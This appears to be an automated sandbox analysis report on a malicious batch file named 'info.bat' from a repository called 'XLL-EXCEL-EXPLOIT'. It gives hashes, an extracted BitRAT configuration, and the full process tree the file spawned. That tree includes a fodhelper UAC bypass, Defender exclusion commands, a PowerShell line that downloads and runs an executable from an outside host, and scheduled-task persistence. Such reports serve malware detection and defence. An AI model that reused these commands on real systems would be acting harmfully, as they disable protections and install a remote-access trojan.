Analysis
-
max time kernel
94s -
max time network
96s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
18-09-2022 18:33
Static task
static1
Behavioral task
behavioral1
Sample
XLL-EXCEL-EXPLOIT--main/XLL EXCEL EXPLOIT/Icon.vbs
Resource
win10v2004-20220812-en
Behavioral task
behavioral2
Sample
XLL-EXCEL-EXPLOIT--main/XLL EXCEL EXPLOIT/MainWindow.xaml.vbs
Resource
win10v2004-20220812-en
Behavioral task
behavioral3
Sample
XLL-EXCEL-EXPLOIT--main/XLL EXCEL EXPLOIT/packages/info.bat
Resource
win10v2004-20220812-en
Behavioral task
behavioral4
Sample
XLL-EXCEL-EXPLOIT--main/XLL EXCEL EXPLOIT/projectrcs/Resources.vbs
Resource
win10v2004-20220901-en
General
-
Target
XLL-EXCEL-EXPLOIT--main/XLL EXCEL EXPLOIT/packages/info.bat
-
Size
5KB
-
MD5
6029bfd4036c00fc9abb4decf00163d7
-
SHA1
f0483462eb8bce5ba67bb08c420cbea4437dd066
-
SHA256
a795f07f8bd65437d65ac3431fcd3e45c92f741bb9b4e24183267533a79a0b2f
-
SHA512
3854c0a6f3552056bd11456843ecc4cd36cfbbf41172278f90df3ac0416a762113d791b348cbedb7b7efff31656ca3abc73e629f5477b2bb61c881287bcccb41
-
SSDEEP
96:hwB9ZsSwiv/DZL7CCUkltOL3eOlZ8n6P19dHdRgbVwTnHApiDMUV:hqwg/cC9OL3eOlZ99dHdRg+TnHn
Malware Config
Extracted
http://asamyz.com/ini.exe
Extracted
bitrat
1.38
wwww.ddnsgeek.com:59599
-
communication_password
32c93a52f919c37c05b22825e5a57a4a
-
tor_process
tor
Signatures
-
Processes:
reg.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPRomptBehAvioRAdmin = "0" reg.exe -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 8 1776 powershell.exe -
Downloads MZ/PE file
-
Executes dropped EXE 2 IoCs
Processes:
svchost.exesvchost.exepid process 2280 svchost.exe 2956 svchost.exe -
Sets file to hidden 1 TTPs 2 IoCs
Modifies file attributes to stop it showing in Explorer etc.
Processes:
attrib.exeattrib.exepid process 2888 attrib.exe 2408 attrib.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs
Processes:
svchost.exesvchost.exepid process 2280 svchost.exe 2280 svchost.exe 2280 svchost.exe 2280 svchost.exe 2280 svchost.exe 2956 svchost.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1388 schtasks.exe 4252 schtasks.exe -
Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid process 1976 timeout.exe -
Kills process with taskkill 1 IoCs
Processes:
taskkill.exepid process 1820 taskkill.exe -
Modifies registry class 7 IoCs
Processes:
reg.exereg.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000_Classes\ms-settings\shell\open\commAnd reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000_Classes\ms-settings\shell\open\commAnd\DelegAteExecute = " " reg.exe Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000_Classes\ms-settings\shell\open\commAnd reg.exe Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000_Classes\ms-settings reg.exe Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000_Classes\ms-settings\shell reg.exe Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000_Classes\ms-settings\shell\open reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000_Classes\ms-settings\shell\open\commAnd\ = "C:\\windows\\SYStem32\\cmd.exe /c REG ADD HKLM\\soFtwARE\\micRosoFt\\windows\\cuRREntveRsion\\policies\\SYStem /v ConsentPRomptBehAvioRAdmin /t REG_DWORD /d 0 /F" reg.exe -
Modifies registry key 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 8 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepid process 5024 powershell.exe 5024 powershell.exe 4200 powershell.exe 4200 powershell.exe 1776 powershell.exe 1776 powershell.exe 1876 powershell.exe 1876 powershell.exe -
Suspicious use of AdjustPrivilegeToken 7 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exesvchost.exetaskkill.exesvchost.exedescription pid process Token: SeDebugPrivilege 5024 powershell.exe Token: SeDebugPrivilege 4200 powershell.exe Token: SeDebugPrivilege 1776 powershell.exe Token: SeDebugPrivilege 1876 powershell.exe Token: SeShutdownPrivilege 2280 svchost.exe Token: SeDebugPrivilege 1820 taskkill.exe Token: SeShutdownPrivilege 2956 svchost.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
svchost.exepid process 2280 svchost.exe 2280 svchost.exe -
Suspicious use of WriteProcessMemory 37 IoCs
Processes:
cmd.execmd.exefodhelper.execmd.exepowershell.exepowershell.exedescription pid process target process PID 4824 wrote to memory of 3408 4824 cmd.exe cmd.exe PID 4824 wrote to memory of 3408 4824 cmd.exe cmd.exe PID 3408 wrote to memory of 3664 3408 cmd.exe reg.exe PID 3408 wrote to memory of 3664 3408 cmd.exe reg.exe PID 3408 wrote to memory of 1088 3408 cmd.exe reg.exe PID 3408 wrote to memory of 1088 3408 cmd.exe reg.exe PID 3408 wrote to memory of 3604 3408 cmd.exe fodhelper.exe PID 3408 wrote to memory of 3604 3408 cmd.exe fodhelper.exe PID 3604 wrote to memory of 4004 3604 fodhelper.exe cmd.exe PID 3604 wrote to memory of 4004 3604 fodhelper.exe cmd.exe PID 3408 wrote to memory of 4896 3408 cmd.exe cacls.exe PID 3408 wrote to memory of 4896 3408 cmd.exe cacls.exe PID 4004 wrote to memory of 3188 4004 cmd.exe reg.exe PID 4004 wrote to memory of 3188 4004 cmd.exe reg.exe PID 3408 wrote to memory of 5024 3408 cmd.exe powershell.exe PID 3408 wrote to memory of 5024 3408 cmd.exe powershell.exe PID 3408 wrote to memory of 4200 3408 cmd.exe powershell.exe PID 3408 wrote to memory of 4200 3408 cmd.exe powershell.exe PID 3408 wrote to memory of 1776 3408 cmd.exe powershell.exe PID 3408 wrote to memory of 1776 3408 cmd.exe powershell.exe PID 1776 wrote to memory of 2280 1776 powershell.exe svchost.exe PID 1776 wrote to memory of 2280 1776 powershell.exe svchost.exe PID 1776 wrote to memory of 2280 1776 powershell.exe svchost.exe PID 3408 wrote to memory of 1876 3408 cmd.exe powershell.exe PID 3408 wrote to memory of 1876 3408 cmd.exe powershell.exe PID 1876 wrote to memory of 1388 1876 powershell.exe schtasks.exe PID 1876 wrote to memory of 1388 1876 powershell.exe schtasks.exe PID 3408 wrote to memory of 4252 3408 cmd.exe schtasks.exe PID 3408 wrote to memory of 4252 3408 cmd.exe schtasks.exe PID 3408 wrote to memory of 2408 3408 cmd.exe attrib.exe PID 3408 wrote to memory of 2408 3408 cmd.exe attrib.exe PID 3408 wrote to memory of 2888 3408 cmd.exe attrib.exe PID 3408 wrote to memory of 2888 3408 cmd.exe attrib.exe PID 3408 wrote to memory of 1976 3408 cmd.exe timeout.exe PID 3408 wrote to memory of 1976 3408 cmd.exe timeout.exe PID 3408 wrote to memory of 1820 3408 cmd.exe taskkill.exe PID 3408 wrote to memory of 1820 3408 cmd.exe taskkill.exe -
Views/modifies file attributes 1 TTPs 2 IoCs
Processes:
attrib.exeattrib.exepid process 2408 attrib.exe 2888 attrib.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\XLL-EXCEL-EXPLOIT--main\XLL EXCEL EXPLOIT\packages\info.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\XLL-EXCEL-EXPLOIT--main\XLL EXCEL EXPLOIT\packages\info.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exeREG ADD "HKCU\SOFTWARE\ClAsses\ms-settings\shell\open\commAnd" /t REG_SZ /d "C:\windows\SYStem32\cmd.exe /c REG ADD HKLM\soFtwARE\micRosoFt\windows\cuRREntveRsion\policies\SYStem /v ConsentPRomptBehAvioRAdmin /t REG_DWORD /d 0 /F" /F3⤵
- Modifies registry class
-
C:\Windows\system32\reg.exeREG ADD "hkcu\soFtwARE\clAsses\ms-settings\shell\open\commAnd" /v DelegAteExecute /t REG_SZ /d " " /F3⤵
- Modifies registry class
-
C:\Windows\system32\fodhelper.exeFodhelpeR.exe3⤵
- Suspicious use of WriteProcessMemory
-
C:\windows\SYStem32\cmd.exe"C:\windows\SYStem32\cmd.exe" /c REG ADD HKLM\soFtwARE\micRosoFt\windows\cuRREntveRsion\policies\SYStem /v ConsentPRomptBehAvioRAdmin /t REG_DWORD /d 0 /F4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exeREG ADD HKLM\soFtwARE\micRosoFt\windows\cuRREntveRsion\policies\SYStem /v ConsentPRomptBehAvioRAdmin /t REG_DWORD /d 0 /F5⤵
- UAC bypass
- Modifies registry key
-
C:\Windows\SYStem32\cacls.exe"C:\Windows\SYStem32\cAcls.exe" "C:\Windows\SYStem32\conFig\SYStem"3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepoWERshell.exe -c "ADD-MpPREFeREnce -ExclusionExtension ".bat""3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepoWERshell.exe -c "ADD-MpPREFeREnce -ExclusionExtension ".exe""3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepoWERshell.exe -c (New-Object System.Net.WebClient).DownloadFile('http://asamyz.com/ini.exe','C:\Users\Admin\profile\svchost.exe');Start-Process 'C:\Users\Admin\profile\svchost.exe'3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\profile\svchost.exe"C:\Users\Admin\profile\svchost.exe"4⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepoWERshell.exe -c "Start-Process -FilePath schtasks -ArgumentList '/Create', '/sc ONLOGON', '/tn profile', '/IT', '/rl HIGHEST', '/TR', \"C:\Users\Admin\profile\svchost.exe\" -verb RunAs"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /Create /sc ONLOGON /tn profile /IT /rl HIGHEST /TR C:\Users\Admin\profile\svchost.exe4⤵
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks /create /sc minute /mo 2 /tn "spawn" /tr C:\Users\Admin\profile\svchost.exe3⤵
- Creates scheduled task(s)
-
C:\Windows\system32\attrib.exeattrib +S +H C:\Users\Admin\profile3⤵
- Sets file to hidden
- Views/modifies file attributes
-
C:\Windows\system32\attrib.exeattrib +S +H C:\Users\Admin\profile\svchost.exe3⤵
- Sets file to hidden
- Views/modifies file attributes
-
C:\Windows\system32\timeout.exetimeout /T 33⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\taskkill.exetaskkill /F /IM cmd.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\profile\svchost.exeC:\Users\Admin\profile\svchost.exe1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD56d42b6da621e8df5674e26b799c8e2aa
SHA1ab3ce1327ea1eeedb987ec823d5e0cb146bafa48
SHA2565ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
SHA51253faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD5503988324b8cb7337f1b542007325008
SHA1e1cb4143117c97d7c251542ed1ab097624132905
SHA256337cba70319953b4ede67cbd8905a09e43487e32566a96f5ad420ed1bbdca1b2
SHA512292ff8051dc4a694ff101b587a43102dd2cd0a2829173c6ab7fe89e2fd8fe30999be38f06ee6fe9eb7455da5ad0f0bf8433b6e34da81e42073db84cca22fe750
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD594f2895e3e5302db3d1acc2408d4e670
SHA104adfb1f703ac79cabe7a4aee4e65f2f8e670ad8
SHA25638db37a4883e3ffc461ae39aa89625180368d7dd894800f58501a2ae952682ca
SHA512b888b3babac968060ef668e79b988724f1767b9406981c0d46c44ab2d5e0fa2f71357b375abd8f85f7013ab64c357553709290f665101db648a456fe8e503d11
-
C:\Users\Admin\profile\svchost.exeFilesize
3.8MB
MD5221e0fa159b0892c04254280d9a46674
SHA1fbe9558c1bf14a8ec59b918084de51d6f7d9037b
SHA2568ac53eb721a6ae815a870b81dad63a155c6518e20a84735550ed1f83dd380eb7
SHA512084f35c331ec3c5a19dde1e5531b82206f2b5c2b0b3d315e72fca824890a4480141448c2fd22f65a00ffcb9de64103fe9e95282906154f6d24857be64a8ef8f9
-
C:\Users\Admin\profile\svchost.exeFilesize
3.8MB
MD5221e0fa159b0892c04254280d9a46674
SHA1fbe9558c1bf14a8ec59b918084de51d6f7d9037b
SHA2568ac53eb721a6ae815a870b81dad63a155c6518e20a84735550ed1f83dd380eb7
SHA512084f35c331ec3c5a19dde1e5531b82206f2b5c2b0b3d315e72fca824890a4480141448c2fd22f65a00ffcb9de64103fe9e95282906154f6d24857be64a8ef8f9
-
C:\Users\Admin\profile\svchost.exeFilesize
3.8MB
MD5221e0fa159b0892c04254280d9a46674
SHA1fbe9558c1bf14a8ec59b918084de51d6f7d9037b
SHA2568ac53eb721a6ae815a870b81dad63a155c6518e20a84735550ed1f83dd380eb7
SHA512084f35c331ec3c5a19dde1e5531b82206f2b5c2b0b3d315e72fca824890a4480141448c2fd22f65a00ffcb9de64103fe9e95282906154f6d24857be64a8ef8f9
-
memory/1088-134-0x0000000000000000-mapping.dmp
-
memory/1388-159-0x0000000000000000-mapping.dmp
-
memory/1776-153-0x00007FF970890000-0x00007FF971351000-memory.dmpFilesize
10.8MB
-
memory/1776-150-0x00007FF970890000-0x00007FF971351000-memory.dmpFilesize
10.8MB
-
memory/1776-148-0x0000000000000000-mapping.dmp
-
memory/1820-167-0x0000000000000000-mapping.dmp
-
memory/1876-158-0x00007FF970890000-0x00007FF971351000-memory.dmpFilesize
10.8MB
-
memory/1876-160-0x00007FF970890000-0x00007FF971351000-memory.dmpFilesize
10.8MB
-
memory/1876-154-0x0000000000000000-mapping.dmp
-
memory/1976-164-0x0000000000000000-mapping.dmp
-
memory/2280-156-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
-
memory/2280-165-0x00000000746A0000-0x00000000746D9000-memory.dmpFilesize
228KB
-
memory/2280-166-0x0000000074A20000-0x0000000074A59000-memory.dmpFilesize
228KB
-
memory/2280-151-0x0000000000000000-mapping.dmp
-
memory/2280-170-0x00000000746A0000-0x00000000746D9000-memory.dmpFilesize
228KB
-
memory/2280-171-0x0000000074A20000-0x0000000074A59000-memory.dmpFilesize
228KB
-
memory/2408-162-0x0000000000000000-mapping.dmp
-
memory/2888-163-0x0000000000000000-mapping.dmp
-
memory/2956-169-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
-
memory/3188-138-0x0000000000000000-mapping.dmp
-
memory/3408-132-0x0000000000000000-mapping.dmp
-
memory/3604-135-0x0000000000000000-mapping.dmp
-
memory/3664-133-0x0000000000000000-mapping.dmp
-
memory/4004-136-0x0000000000000000-mapping.dmp
-
memory/4200-145-0x00007FF970890000-0x00007FF971351000-memory.dmpFilesize
10.8MB
-
memory/4200-143-0x0000000000000000-mapping.dmp
-
memory/4200-147-0x00007FF970890000-0x00007FF971351000-memory.dmpFilesize
10.8MB
-
memory/4252-161-0x0000000000000000-mapping.dmp
-
memory/4896-137-0x0000000000000000-mapping.dmp
-
memory/5024-141-0x00007FF970890000-0x00007FF971351000-memory.dmpFilesize
10.8MB
-
memory/5024-139-0x0000000000000000-mapping.dmp
-
memory/5024-140-0x0000023743B50000-0x0000023743B72000-memory.dmpFilesize
136KB
-
memory/5024-142-0x00007FF970890000-0x00007FF971351000-memory.dmpFilesize
10.8MB